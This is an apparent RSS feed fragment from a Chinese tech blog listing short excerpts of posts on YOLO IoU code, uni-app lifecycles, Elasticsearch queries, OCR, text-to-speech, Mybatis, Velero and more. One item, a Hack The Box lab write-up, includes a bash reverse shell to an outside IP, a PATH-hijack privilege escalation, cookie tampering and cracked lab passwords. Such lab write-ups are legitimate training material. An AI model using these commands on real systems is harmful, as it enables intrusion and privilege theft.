      <description>步骤1&#xA;打开utils/metrics.py,找到以下代码&#xA;def bbox_iou(box1, box2, xywh=True, GIoU=False, DIoU=False, CIoU=False, eps=1e-7): # Returns Intersection over Union (IoU) of box1(1,4) to box2(n,4) # Get the coordinates of bounding boxes if xywh: # transform from xywh to xyxy (x1, y1, w1, h1), (x2, y2, w2, h2) = box1.chunk(4, -1), box2.chunk(4, -1) w1_, h1_, w2_, h2_ = w1 / 2, h1 / 2, w2 / 2, h2 / 2 b1_x1, b1_x2, b1_y1, b1_y2 = x1 - w1_, x1 + w1_, y1 - h1_, y1 + h1_ b2_x1, b2_x2, b2_y1, b2_y2 = x2 - w2_, x2 + w2_, y2 - h2_, y2 + h2_ else: # x1, y1, x2, y2 = box1 b1_x1, b1_y1, b1_x2, b1_y2 = box1.</description>
    </item>
    <item>
      <title>windows 文件夹打开默认是小窗口问题解决</title>
      <link>https://bchobby.github.io/posts/067402efb6211dd22fe459a29de519d0/</link>
      <pubDate>Sun, 12 Mar 2023 15:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/067402efb6211dd22fe459a29de519d0/</guid>
      <description>目录 windows 文件夹打开默认是小窗口问题解决 问题解决 windows 文件夹打开默认是小窗口问题解决 不知道误操作了什么，最近点击windows文件夹默认打开的都是小窗口，每次需要点击放大很不方便&#xA;问题解决 首先我们先打开任意一个文件夹，只要里面有文件即可&#xA;右键点击空白处，然后点击查看，选择大图标&#xA;然后点击左上角的文件&#xA;选择更改文件夹和搜索选项&#xA;点击查看，然后点击应用到文件夹，弹窗点击是&#xA;然后我们关闭窗口，再次打开文件夹默认就是打开的了</description>
    </item>
    <item>
      <title>详解uni-app框架的生命周期</title>
      <link>https://bchobby.github.io/posts/2a4e5e12d82f1f7c6ad6adb3575b1c12/</link>
      <pubDate>Sat, 11 Mar 2023 23:35:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a4e5e12d82f1f7c6ad6adb3575b1c12/</guid>
      <description>概要 对uni-app日常开发重要概念梳理和讲解；最基础的内容，开发中虽然是最少用到的，但也是最重要的内容。&#xA;一、生命周期函数 在项目运行过程中，各个阶段执行的回调函数成为生命周期钩子函数，如：onLaunch，onMounted函数；&#xA;在合适的时机做合适的任务，也就是对应的回调函数执行;&#xA;在vue项目中，使用的只是vue实例的生命周期；&#xA;uni-app不仅支持vue实例的生命周期，还新增了其他的生命周期，主要是支持微信官方的生命周期函数；&#xA;二、uni-app生命周期分类 应用生命周期&#xA;官网文档地址&#xA;https://uniapp.dcloud.net.cn/collocation/App.html#applifecycle&#xA;应用生命周期仅可在App.vue中监听，在页面监听无效果；&#xA;App.vue是uni-app的主组件，所有页面都是在App.vue下进行切换的，是页面入口文件。但App.vue本身不是页面，所以不能编写视图元素，没有&amp;lt; template &amp;gt;标签 页面生命周期&#xA;官网文档地址&#xA;https://uniapp.dcloud.net.cn/tutorial/page.html#lifecycle&#xA;支持vue标准的生命周期函数，同时新增了很多其他的生命周期函数&#xA;在page目录下配置的页面文件才能生效&#xA;uni-app会将 pages.json ==&amp;gt; pages 配置项中的第一个页面，作为当前工程的首页（启动页）&#xA;组件生命周期&#xA;与vue标准组件的生命周期函数相同；（beforeCreate、created、beforeMount、mounted、beforeUpdate、updated、beforeDestroy、destroyed）&#xA;没有页面级新增的onLoad等生命周期函数；&#xA;三、uni-app应用生命周期函数 函数名&#xA;说明&#xA;onLaunch&#xA;当uni-app 初始化完成时触发（全局只触发一次）&#xA;onShow&#xA;当 uni-app 启动，或从后台进入前台显示&#xA;onHide&#xA;当 uni-app 从前台进入后台&#xA;onError&#xA;当 uni-app 报错时触发&#xA;onUniNViewMessage&#xA;对 nvue 页面发送的数据进行监听，可参考 nvue 向 vue 通讯&#xA;onUnhandledRejection&#xA;对未处理的 Promise 拒绝事件监听函数（2.8.1+）&#xA;onPageNotFound&#xA;页面不存在监听函数&#xA;onThemeChange&#xA;监听系统主题变化&#xA;onPageNotFound&#xA;找不到url对应的页面文件时执行；常用于用户访问不存在页面，引导用户到其他可访问页面&#xA;onPageNotFound(() =&amp;gt; { uni.navigateTo({ url:&#39;/pages/404/index&#39; }) }) 四、详解uni-app新增的页面生命周期函数 函数名</description>
    </item>
    <item>
      <title>htb(二)</title>
      <link>https://bchobby.github.io/posts/440fba619ae6e4b05dc987ce1425f823/</link>
      <pubDate>Sat, 11 Mar 2023 21:21:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/440fba619ae6e4b05dc987ce1425f823/</guid>
      <description>Oopsie proxy 发现不是&#xA;这里可以看到 有个login&#xA;尝试发现是&#xA;/cdn-cgi/login 发现需要admin&#xA;Cookie 将id修改为1&#xA;34322 记得之前扫到的 /uploads目录&#xA;db.php /bin/bash -c &#39;bash -i &amp;amp;&amp;gt; /dev/tcp/10.10.14.217/5555 0&amp;lt;&amp;amp;1&#39; 反弹到的shell需要把他转换成一个交互式的shell才能切换用户 设置shell为/bin/bash script命令可以用作交互终端会话过程记录,保存用户输入和系统输入的全过程 -q是静默执行 把会话内容丢到黑洞/dev/null&#xA;SHELL=/bin/bash script -q /dev/null f2c74ee8db7983851ab2a96a44eb7981 这里可以看到文件属于root 在bugtracker因此 使用rebert执行的话就是root权限&#xA;查找属于这个组的&#xA;find 看一下这里的执行情况&#xA;这里可以看到使用了 cat 去查看/root目录 而且这里并没有使用 绝对路径而是使用的相对路径&#xA;root Set owner User ID cat export PATH=/tmp:$PATH cd /tmp echo &#39;/bin/bash&#39; &amp;gt; cat chmod +x cat af13b0bee69f8a877c3faf667f7beacf Vaccine ftp anonymous backup.zip zip2john 741852963 qwerty789 --os-shell python .</description>
    </item>
    <item>
      <title>python wesockets异步执行时， 发送信息阻塞 卡住的问题</title>
      <link>https://bchobby.github.io/posts/5d23d43acea00bfb6d2b963a86bb2bfd/</link>
      <pubDate>Sat, 11 Mar 2023 17:39:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d23d43acea00bfb6d2b963a86bb2bfd/</guid>
      <description> 问题 采用的代码： python + websockets&#xA;目前在测试需求过程中，在使用 websockets 异步方式时， 发送一个信息的代码如下：&#xA;async def heartbeat(self,websocket): # 发送心跳 while True: await websocket.send(&#39;heartbeat&#39;) 如上，如果这个写法，可能会导致 send 之后，程序一直 卡住 或者 阻塞，或者感觉变成了 同步的方式。长时间找不到 解决办法&#xA;原因 原因不是看的太明确，下面贴地址，大佬们可以自行查看&#xA;参考地址：&#xA;https://websockets.readthedocs.io/en/stable/faq/asyncio.html&#xA;解决方式 在阻塞处增加 await asyncio.sleep(0) 代码如下（示例）：&#xA;async def heartbeat(self,websocket): # 发送心跳 while True: await websocket.send(&#39;heartbeat&#39;) await asyncio.sleep(0) # 增加这一行 </description>
    </item>
    <item>
      <title>面向对象3</title>
      <link>https://bchobby.github.io/posts/946c898d3af7f792d90050880b78ded8/</link>
      <pubDate>Sat, 11 Mar 2023 17:38:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/946c898d3af7f792d90050880b78ded8/</guid>
      <description> 面向对象特征--继承 继承是从已有的类中派生出新的类，新的类能吸收已有类的属性和行为， 并能扩展新的能力 子继承父，继承之后可以使用父亲中的功能，不需要重复定义，但是不能对父类中的私有属性进行继承，不允许一个类继承个类，当一个类没有使用extends继承其他类时，这个默认继承Object类。&#xA;例子说明&#xA;抽象类 抽象类就是当一个类中不含有具体的类容时&#xA;抽象方法必须用abstract关键字进行修饰&#xA;抽象类不能创建对象&#xA;面向对象特征--多态 final关键字 接口 </description>
    </item>
    <item>
      <title>ES查询常用语法</title>
      <link>https://bchobby.github.io/posts/a73756cf7b6ae0a4e043c0cef5be7d8f/</link>
      <pubDate>Sat, 11 Mar 2023 12:31:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a73756cf7b6ae0a4e043c0cef5be7d8f/</guid>
      <description>目录&#xA;1. ElasticSearch之查询返回结果各字段含义&#xA;2. match 查询&#xA;3. term查询&#xA;4. terms 查询&#xA;5. range 范围&#xA;6. 布尔查询&#xA;6.1 filter加快查询效率的原因&#xA;7. boosting query(提高查询)&#xA;8. dis_max(最佳匹配查询）&#xA;9. 分页&#xA;10. 聚合查询【内含实际的demo】&#xA;1. ElasticSearch之查询返回结果各字段含义 执行命令：索引库名称/_search&#xA;空搜索的结果为：&#xA;{ &#34;took&#34;: 2,&#x9;# 该命令请求花费了多长时间，单位：毫秒。 &#34;timed_out&#34;: false,&#x9;# 搜索是否超时 &#34;_shards&#34;: {&#x9;# 搜索分片信息 &#34;total&#34;: 3,&#x9;# 搜索分片总数 &#34;successful&#34;: 3,&#x9;# 搜索成功的分片数量 &#34;skipped&#34;: 0,&#x9;# 没有搜索的分片，跳过的分片 &#34;failed&#34;: 0&#x9;# 搜索失败的分片数量 }, &#34;hits&#34;: {&#x9;# 搜索结果集。需要的一切数据都是从hits中获取 &#34;total&#34;: 21798,&#x9;# 返回多少条数据 &#34;</description>
    </item>
    <item>
      <title>c&#43;&#43; 链表实现多项式加法</title>
      <link>https://bchobby.github.io/posts/91353e040c6cd5185ff5dd92ae55ba15/</link>
      <pubDate>Sat, 11 Mar 2023 12:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91353e040c6cd5185ff5dd92ae55ba15/</guid>
      <description>题目要求：&#xA;1、请使用链表实现两个多项式的加法运算，其中多项式的项按指数从高到低排列。例如，输入形式为3 2 -1 1 2 0。&#xA;测试样例：&#xA;样例1：&#xA;输入样例：&#xA;3 4 2 3 1 2（第一个多项式）&#xA;-2 3 4 2 5 1 6 0（第二个多项式）&#xA;输出样例：&#xA;3 4 5 2 5 1 6 0（求和结果）&#xA;代码实现：&#xA;//链表 #include &amp;lt;iostream&amp;gt; using namespace std; //类定义 class lianbiao&#x9;{ private: int zhen_de_shu_ju;&#x9;//zhen_de_shu_ju 数据 int zuo_biao;&#x9;//zuo_biao 坐标 class lianbiao* next; public: lianbiao()&#x9;//构造函数 { zhen_de_shu_ju =zuo_biao = 0;&#x9;next = nullptr;&#x9;} ~lianbiao()&#x9;//析构函数 { zhen_de_shu_ju = zuo_biao = 0; next = nullptr; } void add(lianbiao n3, lianbiao n4);&#x9;//多项式相加函数 void input();&#x9;//输入 void output( );&#x9;//输出 void shoudong();&#x9;//手动析构 }; //函数定义 void lianbiao::add(lianbiao n1, lianbiao n2)&#x9;//多项式相加函数 { lianbiao* current1, * current2; lianbiao *current3=new lianbiao; current1 = n1.</description>
    </item>
    <item>
      <title>CentOS7系统安装及基础环境配置</title>
      <link>https://bchobby.github.io/posts/a152b7c53a3a7d6b8e5cd03505384078/</link>
      <pubDate>Sat, 11 Mar 2023 11:09:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a152b7c53a3a7d6b8e5cd03505384078/</guid>
      <description>目录&#xA;前言&#xA;一、VMware安装CentOS7系统&#xA;二、基础环境配置&#xA;登录系统设置静态网络&#xA;ssh工具连接&#xA;修改主机名&#xA;关闭防火墙、selinux&#xA;安装常用软件包&#xA;配置国内YUM源及拓展源&#xA;快照&#xA;前言 CentOS（Community Enterprise Operating System，中文意思是社区企业操作系统）是Linux发行版之一，它是来自于Red Hat Enterprise Linux依照开放源代码规定释出的源代码所编译而成。由于出自同样的源代码，因此有些要求高度稳定性的服务器以CentOS替代商业版的Red Hat Enterprise Linux使用。两者的不同，在于CentOS完全开源&#xA;CentOS官网：The CentOS Projecthttps://www.centos.org/&#xA;一、VMware安装CentOS7系统 使用默认配置安装&#xA;选择安装&#xA;默认英文，可以选择中文&#xA;时区设置为上海&#xA;默认最小化安装，这里我们也使用最小化安装&#xA;默认自动分区，也可以手动配置，这里选择默认&#xA;设置完后开始安装&#xA;​​ 设置root用户密码，可以不用创建普通用户&#xA;设置密码后点两次完成退出&#xA;等待安装完成&#xA;完成后重启&#xA;二、基础环境配置 登录系统设置静态网络 测试能否ping通外网&#xA;[root@localhost ~]# vi /etc/sysconfig/network-scripts/ifcfg-ens33 [root@localhost ~]# systemctl restart network&#xA;[root@localhost ~]# ping -c www.baidu.com&#xA;PING www.a.shifen.com (39.156.66.18) 56(84) bytes of data.&#xA;64 bytes from 39.156.66.18 (39.156.66.18): icmp_seq=1 ttl=128 time=17.</description>
    </item>
    <item>
      <title>Linux文件类型</title>
      <link>https://bchobby.github.io/posts/f468d30f3f63bdd4185d23050c363004/</link>
      <pubDate>Fri, 10 Mar 2023 19:13:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f468d30f3f63bdd4185d23050c363004/</guid>
      <description>Linux文件种类 正规文件（regular file）&#xA;为 - 的文件，另外依照文件的内容又大致分为：&#xA;纯文本文档（ASCII）：比如使用 cat ~/.bashrc，就能把该文件内容读取出来&#xA;二进制文件（binary)：可执行文件 scripts （文字型批处理文件不算）&#xA;数据格式文件（data）：有些程序运行中会读取某些特定文件格式的文件&#xA;比如 linux 在登录时，会将登录的数据记录在 /var/log/wtmp 文件内， 但是使用 cat 时，会读出来乱码，因为是一种特殊格式的文件&#xA;笔者唯一没有明白的就是 二进制文件，怎么是 scripts 文件呢？&#xA;目录（directory）：d&#xA;连接文档（link）：类似 windows 中的快捷方式，用小写（L）的 l 表示&#xA;设备与装置文件（device)&#xA;与系统周边及存储等相关文件，通常都集中在 /dev 这个目录下，通常又分为两种：&#xA;区块（block）设备文档：使用 b 表示&#xA;就是一些存储数据，供系统随机存取的接口设备，比如硬盘、软盘等。 可以随机在硬盘的不同区块读写。可以看看 /dev/sda 会发现第一个属性就是 b&#xA;字符（character）设备文件：用 c 表示&#xA;一些串行端口的接口设备，例如键盘鼠标等。这些设备的特性就是一次性读取的，不能够截断输出。 举例来说，你不可能让鼠标跳跃到另一个画面，而是连续性滑动到另一个地方&#xA;数据接口文件（sockets）：用 s 表示&#xA;这种类型的文件通常被用在网络上的数据承接。启动程序监听客户端的请求，客户端透过这个 socket 来进行数据的沟通 最常在 /run 或 /tmp 这个目录中&#xA;数据传送文件（FIFO,pipe）：使用 p 表示&#xA;FIFO 也是一种特殊的文件类型，主要目的在解决多个程序同时存取一个文件所造成的并发错误问题， 是 first-in-first-out 的缩写&#xA;Linux目录配置的依据FHS FHS（Filesystem Hierarchy Standard）标准：让使用者可以了解到已安装软件通常放置于哪个目录下</description>
    </item>
    <item>
      <title>基于 Node.js 的文本转语音</title>
      <link>https://bchobby.github.io/posts/2de96859f69a3d8478572413b9c26feb/</link>
      <pubDate>Fri, 10 Mar 2023 18:38:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2de96859f69a3d8478572413b9c26feb/</guid>
      <description>基于 Node.js 的文本转语音 Node.js 是一个广泛应用的服务端 JavaScript 开发环境，它可以用于各种文本转语音应用。本文将介绍如何使用 Node.js 实现文本转语音。&#xA;使用 Node.js 的文本转语音 文本转语音的第一步是安装 Node.js。安装成功后，接下来创建一个文件 text-to-speech.js，编辑并输入以下代码：&#xA;// 导入文本转语音模块 const tts = require(&#39;@google-cloud/text-to-speech&#39;); // 创建文本转语音客户端对象 const ttsClient = new tts.TextToSpeechClient(); // 设置文本转语音的请求参数 const request = { input: {text: &#39;Hello, world!&#39;}, // 语言 voice: {languageCode: &#39;en-US&#39;, ssmlGender: &#39;NEUTRAL&#39;}, // 音频格式 audioConfig: {audioEncoding: &#39;MP3&#39;}, };&#x9;// 执行文本转语音 ttsClient.synthesizeSpeech(request, (err, response) =&amp;gt; { if (err) { console.error(&#39;ERROR:&#39;, err); return; } // 将语音保存为文件 const writeFile = fs.</description>
    </item>
    <item>
      <title>Node.js 如何实现OCR文字识别</title>
      <link>https://bchobby.github.io/posts/53b74c6995c86a74317bc95180233b06/</link>
      <pubDate>Fri, 10 Mar 2023 18:37:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53b74c6995c86a74317bc95180233b06/</guid>
      <description>Node.js 如何实现OCR文字识别 OCR (Optical Character Recognition) 是指用光学技术识别文字图像的技术。随着全新的技术出现，OCR 技术已经发展成为一种非常先进的技术，可以从图片或文档中提取文字，这个技术在文本处理和翻译领域占据一席之地。&#xA;本文将介绍如何使用 Node.js 来实现 OCR 技术，并给出一些实用的示例代码。&#xA;使用 Node.js 实现 OCR 使用 Node.js 实现 OCR 技术，首先需要安装一些依赖包。也就是说，我们需要安装 tesseract 、node-tesseract 和 node-tesseract-native 等包。&#xA;安装 tesseract Tesseract 是一个开源的 OCR 引擎，可以从图像中识别多种文字。首先，我们需要安装 tesseract：&#xA;brew install tesseract 安装 node-tesseract 接下来，我们需要安装 node-tesseract：&#xA;npm install node-tesseract 安装 node-tesseract-native 最后，我们需要安装 node-tesseract-native：&#xA;npm install node-tesseract-native 示例代码示例 接下来，我们将通过一个示例代码来演示如何使用 Node.js 实现 OCR 技术：&#xA;const tesseract = require(&#39;node-tesseract-native&#39;) // 读取图片 const image = `./sample.png` // 设置参数 const options = { l: &#39;eng&#39;, // 识别语言为英文（可以改成其他语言） psm: 6, // 图片模式 } // 执行OCR tesseract.</description>
    </item>
    <item>
      <title>Python 实现语音转文本</title>
      <link>https://bchobby.github.io/posts/21d2ba90a124457955020a7247471840/</link>
      <pubDate>Fri, 10 Mar 2023 18:28:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21d2ba90a124457955020a7247471840/</guid>
      <description>Python 实现语音转文本 Python可以使用多种方式来实现语音转文本，下面介绍其中两种。&#xA;方法一：使用Google Speech API Google Speech API 是 Google 在 2012 年推出的一个 API，可以用于实现语音转文本。使用 Google Speech API 需要安装 SpeechRecognition 库，可以使用 pip 安装：&#xA;pip install SpeechRecognition 安装完成后，可以使用下面的代码实现语音转文本：&#xA;import speech_recognition as sr # 设置音频文件的位置 audio_file = &#39;./audio.wav&#39; # 创建 SpeechRecognition 对象 r = sr.Recognizer() # 读取音频文件 with sr.AudioFile(audio_file) as source: audio = r.record(source) # 识别音频文件 try: print(r.recognize_google(audio, language=&#39;zh-CN&#39;)) except sr.UnknownValueError: raise &#39;Google Speech Recognition could not understand audio&#39; except sr.RequestError as e: raise &#39;Could not request results from Google Speech Recognition Service&#39; 方法二：使用百度语音识别 除了 Google Speech API 外，还可以使用百度语音识别来实现语音转文本。使用百度语音识别需要安装 Baidu-Aip 库，可以使用 pip 安装：</description>
    </item>
    <item>
      <title>Python实现OCR文字识别</title>
      <link>https://bchobby.github.io/posts/85c63b8089d80a242ab14c14f1aa5dbd/</link>
      <pubDate>Fri, 10 Mar 2023 18:27:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85c63b8089d80a242ab14c14f1aa5dbd/</guid>
      <description>Python实现OCR文字识别 OCR（Optical Character Recognition，光学字符识别）是指通过扫描纸质文档或照片，通过计算机对图像记录的文字进行识别的一种技术。本文介绍如何使用Python来实现OCR文字识别技术。&#xA;环境配置 要实现Python的OCR文字识别，首先需要安装OCR软件和相关的包依赖，比如pytesseract和OpenCV。&#xA;安装pytesseract pytesseract是一个OCR识别引擎，使用Python调用tesseract-ocr软件，可以实现OCR文字识别。&#xA;安装pytesseract：&#xA;pip install pytesseract 安装OpenCV OpenCV是一个计算机视觉库，提供了很多图片处理的功能，可以用来识别文字。&#xA;安装OpenCV:&#xA;pip install opencv-python 实现OCR文字识别 加载图像 首先，使用OpenCV加载图像，将图像转换为灰度图，然后二值化处理图像：&#xA;import cv2 # 加载图像 image = cv2.imread(&#39;image.jpg&#39;) # 转换为灰度图 gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # 二值化处理 thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1] 识别文字 接着，使用pytesseract调用tesseract-ocr，识别文字：&#xA;# 使用pytesseract识别 text = pytesseract.image_to_string(thresh) print(text) 以上代码运行后，就可以得到图片中的文字内容，实现了OCR文字识别。</description>
    </item>
    <item>
      <title>Python 实现文本转语音</title>
      <link>https://bchobby.github.io/posts/e20b0ee840f15a8c70c209413a98a08f/</link>
      <pubDate>Fri, 10 Mar 2023 18:27:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e20b0ee840f15a8c70c209413a98a08f/</guid>
      <description>：&#xA;Python 实现文本转语音 Python 是一种非常强大的脚本语言，可以用来实现各种复杂的应用，其中之一就是文本转语音，即把文字转换成声音来发出。在这里，我们将使用 Python 的 gTTS 库来实现文本转语音的功能。&#xA;一、安装 gTTS 库 使用 gTTS 库之前，我们需要先安装 gTTS。安装 gTTS 很简单，我们可以使用 pip 安装：&#xA;pip install gTTS 二、使用 gTTS 首先，我们需要引入 gTTS 库：&#xA;from gtts import gTTS 然后，我们就可以用 gTTS 把文字转换成音频了：&#xA;text = &#34;今天天气真好&#34; tts = gTTS(text, lang=&#39;zh&#39;) tts.save(&#34;today.mp3&#34;) 在上面的代码中，text 是需要转换的文本，lang 是文本的语言，save 则是保存转换结果的文件名。&#xA;执行之后，我们将看到相应的文件被保存到本地，我们也可以在浏览器中播放音频文件，即可完成文本转语音的功能。&#xA;小结 通过上面的简单示例，我们了解到 Python 中如何使用 gTTS 库实现文本转语音的功能，实际上只需要调用几行简单的代码即可完成这一功能，非常方便快捷。</description>
    </item>
    <item>
      <title>Mybatis01</title>
      <link>https://bchobby.github.io/posts/f6c60d7854a9f92c74c68cabb1cd627b/</link>
      <pubDate>Fri, 10 Mar 2023 18:17:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6c60d7854a9f92c74c68cabb1cd627b/</guid>
      <description>1、简介 1.1、什么是Mybatis Mybatis是一款优秀的持久层框架他支持定制化SQL、存储过程以及高级映射Mybatis避免了几乎所有的JDBC代码和手动设置参数以及获取结果集。Mybatis可以使用简单的xml或者注解来配置和映射原生类型、接口和Java的POJO（Plain Old Java Objects,普通老式Java对象）为数据库中的记录。MyBatis本是apache的一个开源项目iBatis，2010年这个项目由apache software foundation迁移到了[google code](https://baike.baidu.com/item/google code/2346604?fromModule=lemma_inlink)，并且改名为MyBatis。2013年11月迁移到Github。 如何获得Mybatis: maven仓库: &amp;lt;!-- https://mvnrepository.com/artifact/org.mybatis/mybatis --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.6&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; Github: https://github.com/mybatis/mybatis-3中文文档: https://mybatis.org/mybatis-3/zh/getting-started.html 1.2、持久化 数据持久化&#xA;持久化就是将程序的数据在持久状态和瞬时状态转化的过程内存：断点即失数据库（JDBC），IO文件持久化生活： 冷藏。罐头。 为什么需要持久化？&#xA;有一些对象，不能让他丢失掉。内存太贵。 1.3、持久层 DAO层、Service层、Controller层。。。&#xA;完成持久化工作的代码块层界限十分明显 1.4 问什么需要Mybatis 帮组程序员将数据存入到数据库中&#xA;方便&#xA;传统的JDBC代码太复杂了。 讲话。框架。 自动化。&#xA;不用Mybatis也可以。 更容易上手。 技术没有高低之分&#xA;有点：&#xA;简单易学灵活：sql和代码的分离，提高了可维护性。提供映射标签，支持对象与数据库的ORM字段关系映射。提供对象关系映射标签，支持对象关系组建维护。提供xml标签，支持编写动态sql。 最重要的一点: 使用的人多;&#xA;2、第一个Mybatis程序 2.1 搭建环境 思路流程：搭建环境—&amp;gt;导入Mybatis—-&amp;gt;编写代码—-&amp;gt;测试&#xA;a. 搭建数据库 CREATE DATABASE if not exist `mybatis` charset utf8; USE `mybatis`; DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( `id` int(20) NOT NULL, `name` varchar(30) DEFAULT NULL, `pwd` varchar(30) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; insert into `user`(`id`,`name`,`pwd`) values (1,&#39;狂神&#39;,&#39;123456&#39;),(2,&#39;张三&#39;,&#39;abcdef&#39;),(3,&#39;李四&#39;,&#39;987654&#39;); b.</description>
    </item>
    <item>
      <title>简单介绍Node.js实现爬虫</title>
      <link>https://bchobby.github.io/posts/a5e4681071eff2c73810d6dbc6d40250/</link>
      <pubDate>Fri, 10 Mar 2023 17:22:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5e4681071eff2c73810d6dbc6d40250/</guid>
      <description>简单介绍Node.js实现爬虫 Node.js是一种 JavaScript 运行环境，它实现了以 JavaScript 为控制语言的服务器端编程，可以用来编写实现爬虫功能的脚本。&#xA;爬虫的实现原理 爬虫是一种自动从网页上提取数据的工具，比如从网页上提取用户名、评论等数据。&#xA;爬虫的实现原理是使用Node.js发出http请求，然后解析html文档，根据指定的xpath规则或正则表达式从页面中提取所需的数据。&#xA;使用Node.js实现爬虫 要使用Node.js实现爬虫功能，首先需要安装Node.js环境，其次需要选择一个实现爬虫功能的模块，常用的有cheerio、request、superagent等。&#xA;使用cheerio cheerio是Node.js环境中实现爬虫的最常用工具，它是jQuery的一个server端实现，可以直接用jQuery的语法从页面中提取数据。&#xA;首先安装cheerio：&#xA;npm install cheerio 然后使用cheerio发出http请求，获取html文档，并使用jQuery语法提取所需的数据：&#xA;var cheerio = require(&#39;cheerio&#39;); var request = require(&#39;request&#39;); request(&#39;http://example.com&#39;, function (error, response, body) { if (!error &amp;amp;&amp;amp; response.statusCode == 200) { var $ = cheerio.load(body); var title = $(&#39;title&#39;).text(); // 获取title var comments = $(&#39;.comment&#39;).text(); // 获取评论 //... } }); 使用request request是Node.js环境中用来发出http请求的工具，可以直接使用正则表达式或xpath规则从html文档中提取数据。&#xA;首先安装request：&#xA;npm install request 然后使用request发出http请求，获取html文档，并使用正则表达式或xpath规则提取所需的数据：&#xA;var request = require(&#39;request&#39;); request(&#39;http://example.</description>
    </item>
    <item>
      <title>chrome浏览器禁止指定的http请求</title>
      <link>https://bchobby.github.io/posts/5740998d89191d2cd288d8a348cff268/</link>
      <pubDate>Fri, 10 Mar 2023 17:20:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5740998d89191d2cd288d8a348cff268/</guid>
      <description>在debug时为了去除干扰项，可以在chrome浏览器中禁止指定的URL请求。&#xA;以下方法可以在浏览器中禁止发出该请求，方法如下：&#xA;1、打开浏览器，进入开发者工具（通常可以按F12打开）。&#xA;2、切换到“Network”（网络）选项卡，在该选项卡中可以查看浏览器发出的请求和响应信息。&#xA;在该选项卡中找到发出GET /favicon.ico请求的记录，并右键单击该记录，选择“Block request URL”（阻止请求URL）选项。&#xA;3、刷新页面，此时浏览器将不再发出该请求。&#xA;请注意，禁止发出/favicon.ico请求可能会影响网站的外观和用户体验，因为/favicon.ico通常是网站的图标文件。如果网站中确实需要/favicon.ico文件，请尽快解决上游服务器的问题并恢复该文件的正常访问。&#xA;示例:&#xA;下图中向服务器发出/favicon.ico文件已经禁止</description>
    </item>
    <item>
      <title>解决 ant design 组件显示英文的问题</title>
      <link>https://bchobby.github.io/posts/f8ee0c4237f09d91b738cb0e2038ff41/</link>
      <pubDate>Fri, 10 Mar 2023 17:11:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8ee0c4237f09d91b738cb0e2038ff41/</guid>
      <description>这是因为你使用了组件库但是没有配置国际化导致的！&#xA;直接在根 index.js 中去进行引入&#xA;import zhCN from &#34;antd/locale/zh_CN&#34;; import { ConfigProvider } from &#34;antd&#34;; 然后去使用 ConfigProvider 包裹住 &amp;lt;App / &amp;gt; 组件进行配置&#xA;root.render( &amp;lt;ConfigProvider locale={zhCN}&amp;gt; &amp;lt;App /&amp;gt; &amp;lt;/ConfigProvider&amp;gt; ); 时小记，终有成。</description>
    </item>
    <item>
      <title>K8s：通过Velero实现集群备份和恢复</title>
      <link>https://bchobby.github.io/posts/168e3d411b5c33a671f1defbf69f1b10/</link>
      <pubDate>Fri, 10 Mar 2023 16:11:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/168e3d411b5c33a671f1defbf69f1b10/</guid>
      <description>Velero 的简单介绍&#xA;Velero 是一个 vmware 开源的工具，用于 k8s 安全备份和恢复、执行灾难恢复以及迁移 Kubernetes 集群资源和持久卷。&#xA;在这里插入图片描述&#xA;Velero 可以做的：&#xA;备份集群并在丢失时恢复。&#xA;将集群资源迁移到其他集群。&#xA;将您的生产集群复制到开发和测试集群。&#xA;Velero 包括两部分：&#xA;在集群上运行的服务器(Velero 服务器)&#xA;在本地运行的命令行客户端(velero cli)&#xA;什么时候使用 Velero 代替 etcd 的内置备份/恢复是合适的？&#xA;关于 Velero 和 etcd 的快照备份如何选择？&#xA;我个人认为&#xA;etcd 快照备份适用于比较严重的集群灾难。比如所有 etcd 集群所有节点宕机，快照文件丢失损坏的情况。k8s 集群挂掉的情况， etcd 备份恢复 是一种快速且成功率高的恢复方式，Velero 的恢复需要依赖其他组件，并且需要保证集群是存活的。&#xA;Velero 适用于集群迁移，k8s 子集备份恢复，比如基于命名空间备份。某个命名空间误删，且 YAML 文件没有备份，那么可以 Velero 快速恢复。涉及多API资源对象 的系统升级，可以做升级前备份，升级失败通过 Velero 快速恢复。&#xA;Velero github 上面的解答：&#xA;Etcd 的备份/恢复工具非常适合从单个 etcd 集群中的数据丢失中恢复。例如，在升级 etcd istelf 之前备份 etcd 是个好主意。对于更复杂的 Kubernetes 集群备份和恢复管理，我们认为 Velero 通常是更好的方法。它使您能够扔掉不稳定的集群，并将您的 Kubernetes 资源和数据恢复到新的集群中，而仅通过备份和恢复 etcd 无法轻松做到这一点。</description>
    </item>
    <item>
      <title>druid&#43;mybatis 多数据源及读写分离的处理</title>
      <link>https://bchobby.github.io/posts/53bca96ad95de400b02e985cb4e8d7c8/</link>
      <pubDate>Fri, 10 Mar 2023 16:06:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53bca96ad95de400b02e985cb4e8d7c8/</guid>
